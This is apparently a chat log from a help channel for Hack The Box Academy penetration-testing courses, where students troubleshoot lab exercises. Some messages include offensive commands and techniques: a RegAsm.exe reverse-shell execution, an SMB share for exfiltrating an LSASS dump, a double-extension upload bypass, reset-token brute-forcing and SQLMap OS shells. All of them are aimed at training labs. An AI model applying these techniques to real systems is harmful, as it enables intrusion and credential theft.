If you're starting from scratch and having difficulties so far, I think that aiming to get the cert by August is a really hard goal. The course is indeed complex, and each person has their own struggles while doing it. Like many others have already said here in the past, treat it as a marathon and not as a sprint. Otherwise, you will just get frustrated and start hating cybersecurity. The best goal you can aim for is to be better than you were yesterday, and most importantly, don't compare yourself with others.

[plush crown]

Thanks. I will fight....and fight...

[cedar goblet]

Perseverance is key. 😉

[buoyant void]

Currently doing the Broken Authentication module, specifically Brute-Forcing Password Reset Tokens. The section is pretty straightforward explaining how ffuf can be used to bruteforce the reset token. But my question is this: if a password reset token is a one-time use token and we manage to bruteforce it with ffuf, isn't that token now useless since ffuf "used" the token to bruteforce and now the attacker wouldn't be able to use that token to reset someones account?

[cedar goblet]

In a "real" scenario I think you could use Burp suite, and once it finds the correct token, Request in browser → In original session.

[buoyant void]

@bradleydare ah okay that makes sense appreciate the answer

[quasi wave]

I'm doing Windows File Transfers section of File Transfers module. For question 2 its telling me to RDP into the target but when I try to do that it doesn't work:

┌─[us-academy-2]─[10.10.14.180]─[htb-ac-605555@htb-7z07nbnfoa]─[~]
└──╼ [★]$ xfreerdp /v:10.129.203.252 /u:htp-student /p:HTB_@cademy_stdnt!
[01:34:49:273] [73900:73901] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate (18)' at stack position 0
[01:34:49:273] [73900:73901] [WARN][com.freerdp.crypto] - CN = MS02
[01:34:49:474] [73900:73901] [WARN][com.freerdp.core.nla] - SPNEGO received NTSTATUS: STATUS_LOGON_FAILURE [0xC000006D] from server
[01:34:49:474] [73900:73901] [ERROR][com.freerdp.core] - nla_recv_pdu:freerdp_set_last_error_ex ERRCONNECT_LOGON_FAILURE [0x00020014]
[01:34:49:474] [73900:73901] [ERROR][com.freerdp.core.rdp] - rdp_recv_callback: CONNECTION_STATE_NLA - nla_recv_pdu() fail
[01:34:49:474] [73900:73901] [ERROR][com.freerdp.core.transport] - transport_check_fds: transport->ReceiveCallback() - -1

why won't xfreerdp work when its telling me to RDP into target?

can someone help me out here?

[cloud urchin]

try putting single quotes around the password

the password contains special characters, single quotes around it makes linux inerpret it as a literal string

[proven swift]

I need help with Skills Assessment - File Upload Attacks. I found the upload directory, but i can't seem to upload the file with my payload. This is the extension im using 240608_images.phar.jpg.

[last owl]

Hi! just a quick question, I am doing this module as well. Is your webpage loading correctly? I am currently seeing just a normal page with no css plus the form is not filtering or blocking the php file I upload even though it is only allowing images.

[proven swift]

That's weird i cant upload php files

[cloud urchin]

Sounds like your environment is broken. Restart it or try another region.

[last owl]

Thanks!

[little bear]

Finally made progress! Created a script, but then finally transferred files wo issue. I've got Admin hash on MS01. That only took 3 days (or was it 4?)

I wish it were sooner, but the scrip prep was a huge time savor today

Again, thanks all

[last owl]

Hi again, apologies for messaging but I tried switching regions and restarting the environment multiple times but the issue still persists. Kinda weird that the method is also GET when uploading. Will probably skip this for now and hope that it's an isolated issue. Thanks!

[shut quest]

You're not bugging anyone by reaching out to get a better understanding. Just don't use discord as a crutch. There are some folks that are only stuck for only a couple minutes and come running in here. Give it some time, getting stuck is the best way to learn (IMHO). Also everyone here wants you to succeed! Not sure which cert you are going for but if it's CPTS, you should set realistic expectations. The course just like the exam is a marathon not a sprint.

[cloud urchin]

AD Trust attacks, I can't seem to get psexec working in the ExtraSids Attack section. I verified I have the correct domain SID, correct extra-sid, correct NTHASH (tried aesKey too). it saves the .ccache file but always says TGT has been revoked. I'm able to do it with impacket-raiseChild without any issue. Can anoyne shed light into what I'm doing wrong?

[junior flicker]

I'm working through the Easy Lab for the Footprinting module and have hit a wall. I believe I'm looking for SSH keys, but I'm not sure where to find them. I have run nmap on the DNS server discovering that SSH, DNS, and FTP are all open. I can connect to the FTP, but there are no files or directories that I can find there. I can do nothing with SSH because I need the SSH keys for the user credentials given. I ran Nmap on the app server, internal subdomain, mail server, and the two workstations I discovered. I was only able to brute force the internal subdomain and uncovered the vpn, ftp, and ws1 and ws2. I can't connect to either ws1 or ws2. I even tried checking to see if I could connect via SMTP and POP3 to the email server to no avail. Any ideas out there?

[rustic sage]

In ftp, have you looked around for hidden directory?

[junior flicker]

I thought about that, but in looking up the FTP commands I didn't see any way to do that, for example ls -a as you can in Linux/Unix to reveal all directories/files

I actually just tested and did find a hidden directory, now I just need to check the directory. Thank you for the suggestion!

[rustic sage]

If you can't connect to pop3 and you have possible usernames you can brut force pop3 also look around on internal VPN/ftp stuff.

[junior flicker]

Will do!

[fathom pendant]

you can ls -la in ftp btw

[proven swift]

had the same issue dm

[junior flicker]

Yeah, I ended up trying ls -a and found a few directories, but they seem unnamed. Thank you for letting me know though!

[fathom pendant]

unnamed?

[rustic sage]

...

They meant that ig.

[fathom pendant]

ah then likely on the wrong ftp server

iirc there's like 2

[junior flicker]

I only get a period or two periods for the name

[fathom pendant]

then you're in the wrong ftp server

[rustic sage]

Check the other ftp on internal.

[fathom pendant]

enumerate more

[junior flicker]

Hmm, interesting, okay

[rustic sage]

Also if it's openvpn config, try reading it.

[fathom pendant]

this server can also be found via digging up records

though, most people get it by way of really good scans

[rustic sage]

Enumeration is also an art.

[junior flicker]

I know when I connect to the ftp it says ftp.int.inlanefreight, which I thought was odd, but just went with it. I did brute force the internal subdomain and found another ftp, which seems like the one I need to connect to

[rustic sage]

Correct

[junior flicker]

What's odd about the other one though is the IP is the localhost IP, so I'm not sure how to connect to that

[fathom pendant]

add to /etc/hosts

localhost = local relative to the DNS

[junior flicker]

Ah, that makes sense

[fathom pendant]

when you query a name server/record server you will always see the results relative to what you query

[junior flicker]

I haven't dealt much with updating the /etc/hosts file, so I just put the IP, then tab and then the FQDN for the address, right? I'm getting a connection refused error

[rustic sage]

Are you sure did you put it correctly?

[junior flicker]

I put the localhost IP, tabbed once, and typed ftp.internal.inlanefreight.htb

[rustic sage]

Remove ftp from there.

[fathom pendant]

no

[rustic sage]

Hmm?

[fathom pendant]

it should be the fqdn of the ftp server

no?

[junior flicker]

I can keep wrestling with this tomorrow. I appreciate your help @fathom pendant & @rustic sage

[tender vine]

Hello. I've been trying to spawn the boxes on the "Remote/Reverse Port Forwarding with SSH" Module. It's been 15 minutes already, but the IP isn't showing up. I've tried about 4 or 5 times already, but I'm not getting the target IP. Changed VPN servers also. Should I keep waiting or try something else?

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[rustic sage]

Oh yeah. You are right!

[tender vine]

Thanks! I'll try this one.

[sudden summit]

The Trust Account Attack module provides creds to SSH to the first machine but the credentials are incorrect... Iv downloaded a fresh VPN file. Reset the box. Still incorrect credentials... Is this a bug?

[cloud urchin]

It's listed earlier in the module. I think it's because they use multiple different accounts and those creds that say to RDP in are for the internal network. Try Test@123.

[sudden summit]

That did it. That's definitely a bug to me. Know where in that section does it say to use Test@123 and the question literally tells you to use the incorrect creds to SSH to the box 😛

[cloud urchin]

Yeah I agree kinda messed up

[stiff urchin]

Hello, is it should be the connection to the lab pain in the ass ?
I get connected lost ever minute for a a minute or two module password attack cpts path i can’t finish the tasks

[shut quest]

No it shouldn't. You might have better luck with switching the VPN from UDP to TCP, or connect to a different VPN server all together.

[candid echo]

module: Introduction to Windows Evasion Techniques - Skills Assessment I
Hi, does anyone pass the checks but no getting reverse shell? (It working fine when execute it manually - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U regasm.dll)

[stiff urchin]

I will try, i am using the tiny window tho to perform my attack 🫠

[stiff urchin]

I think you can’t attack from two side 😅 i was using pownbox along side my attack machine!
I disconnected one and it is more stable now:)

[stuck pier]

Hello pls I’m having a challenge at windows defense & attack section credentials in object properties, I have found the credentials pass of bonnie try login in which give me and error due invalid password, and try to login in to htb-student to check the target sid of bonnie but I can’t see anything

[trail sail]

Hi, i am having difficulties with the PASSWORD ATTACKS module, specifically when attempting to attack the SAM database, despite numerous combinations i just can't get the right answer: The question I'm struggling with is: Where is the SAM database located in the Windows registry? (Format: *******) The answer if am trying to give is C:\Windows\System32\config\SAM

help me please

[muted kindle]

https://learn.microsoft.com/en-us/troubleshoot/windows-server/performance/windows-registry-advanced-users
It’s asking Registry path? Then its listed on this doc

[trail sail]

Regrettably, HKEY_LOCAL_MACHINE\SAM is not the correct answer :c

[muted kindle]

try HKLM\SAM?

Don’t have that module so I’m not sure
Maybe its written in the module material somewhere

[trail sail]

omg that was it

Thanks a lot

[patent mist]

Huh

[muted kindle]

The NT hash of the Administrator user ?

But I see it in the kali screenshot

The one starting with bac

[rustic sage]

Look at the last part

Np

[heavy marsh]

Anyone having a problem with the US servers right now? I can't get my box to spawn.

[azure fog]

Hello, I'm trying to do a remote debugging in the module Advanced SQL Injections with the:

student@bb01:/opt/bluebird$ java -Xdebug -Xrunjdwp:transport=dt_socket,address=8000,server=y,suspend=y -jar BlueBird-0.0.1-SNAPSHOT.jar

And I got the error:

2024-06-09T03:32:18.415-04:00  WARN 1428 --- [           main] ConfigServletWebServerApplicationContext : Exception encountered during context initialization - cancelling refresh attempt: org.springframework.context.ApplicationContextException: Failed to start bean 'webServerStartStop'
2024-06-09T03:32:18.421-04:00  INFO 1428 --- [           main] j.LocalContainerEntityManagerFactoryBean : Closing JPA EntityManagerFactory for persistence unit 'default'
2024-06-09T03:32:18.431-04:00  INFO 1428 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Shutdown initiated...
2024-06-09T03:32:18.470-04:00  INFO 1428 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Shutdown completed.
2024-06-09T03:32:18.473-04:00  INFO 1428 --- [           main] o.apache.catalina.core.StandardService   : Stopping service [Tomcat]
2024-06-09T03:32:18.503-04:00  INFO 1428 --- [           main] .s.b.a.l.ConditionEvaluationReportLogger : 

Error starting ApplicationContext. To display the condition evaluation report re-run your application with 'debug' enabled.
2024-06-09T03:32:18.543-04:00 ERROR 1428 --- [           main] o.s.b.d.LoggingFailureAnalysisReporter   : 

***************************
APPLICATION FAILED TO START
***************************

Description:

Web server failed to start. Port 8080 was already in use.

Action:

Identify and stop the process that's listening on port 8080 or configure this application to listen on another port.

Is that an expected behaviour?

[acoustic owl]

Did you carry out the attack beforehand as described in the module?

[cinder mortar]

Under the module HTTPS/TLS ATTACKS, Padding Oracles section, for encrypting a custom value, how come u can encrypt ur own value with just a encrypted cookie value, like u only provide the encrypted htb-stdnt cookie value to padbuster. Does it mean padbuster will decrypt the htb-stdnt cookie again before encrypting the plaintext value provided?

[hearty yoke]

I am encoutering a problem in the module "WORKING WITH IDS/IPS" section "Suricata Fundamentals". I cannot get connected with ssh. Any help would be appreciated.

[idle sigil]

Hey, I am working on the Attacking LSASS module https://academy.hackthebox.com/module/147/section/1359

Whenever i try to transfer the local file from the target (i followed the steps in the examples), i keep getting this network error message 😦 Am I missing something here?

[acoustic owl]

If you connect with RDP, simply mount a drive as well

[idle sigil]

😮 how do i do that? >_<

[acoustic owl]

xfreerdp …… /drive:share,"/path/to/your/share"

[hollow ridge]

Can somebody help me with module: hacking wordpress/RCE via Theme editor

Pm

[acoustic owl]

What exactly is the problem? Without knowing what is not working, nobody can help you here

[hollow ridge]

@acoustic owl I have to upload a webshell to the target but cant find the flag

[acoustic owl]

The question specifies where you can find the flag

[idle sigil]

I am still getting the network error message 😦

I re-logged into rdp with this drive share command

xfreerdp /u:htb-student /p:HTB_@cademy_stdnt! /v:10.129.202.149 /drive:share,"/home/htb-ac-900954/Documents/"

and this is my smbserver command:

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/htb-ac-900954/Documents/

[hexed lintel]

copy paste lsass using file explorer

[cedar goblet]

when I mount the drive with rdp I usually do /drive:linux,/path/to/share

and when I copy things from the powershell its normally

copy file \\TSCLIENT\linux\file

you can always use net use to check where the share was mounted at.

[idle sigil]

omg! thank you both! It was much easier using file explorer lol and I noticed that the setting network discovery and file sharing wasnt switched on X_X

[cedar goblet]

I find it easier doing via terminal cause when RDPing to a internal pivot I'm with 900ms lol

[hexed lintel]

have you done skill assessment from shells and payloads module?

[cedar goblet]

yes, a few months ago.

[hexed lintel]

how was your rdp connection

[cedar goblet]

its the one we need to rdp to a linux attacker box?

[hexed lintel]

yes

[cedar goblet]

iirc this was extremely slow, what I did was upload ligolo to that machine and do from my host machine

but if you're following the path, you're probably not familiar with pivoting yet. Check out ligolo-ng, its a wonderful tool and it will save you a lot of time

[hexed lintel]

ok.

[zealous rune]

still turns out to be a lot of passwords

[midnight granite]

Hi everyone, need an help. I'm doing SQLMap essentials module and i'm on the os exploitation part. I found the first flag but not the second one.

2nd flag description **Use SQLMap to get an interactive OS shell on the remote host and try to find another flag within the host. ** can anyone give an hint.

[sweet girder]

I'm too stubborn for my own good but, i retried to setup a windows vm like in "setting up" module. I really think my computer is too old because it's laggy and I keep having problem with it. So, do you know any alternative to solve that or do I have to wait to get a better computer ?

[midnight granite]

Is anyone here to help?

[zealous rune]

i'm here but unfortunately have not got to that module

did u get the shell?

[midnight granite]

yeah i got the shell as well first flag.

stuck with 2nd flag

[fickle vine]

so you have the system shell on the second machine and just need to find the flag?

[zenith dome]

Hi about the questions at file upload attack module: limited file uploads
I try to solve the questions, I created the file with the svg extension with the xml code inside. And I upload it and I visit the page but it’s not success can any other be help me step by step how to solve the two questions please??

https://academy.hackthebox.com/module/136/section/1291

[marsh echo]

hey everybody, for the last question of this section : https://academy.hackthebox.com/module/143/section/1485
i can't find the ace even though i convert the sid well and i execute the Get-DomainobjectACL command with powerview but it doesn't list the object (for the forend user)

[shut quest]

I chose a different route to get that information also explained in that section

[peak rover]

Hello everyone, I would like to ask a question. I want to become a Cyber ​​Security specialist, I have now graduated from school in Russia and want to enter a university, but the knowledge that the university will give is most likely not sufficient to reach the top. What is better to study and where to practice your skills? I will be grateful for your answer.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible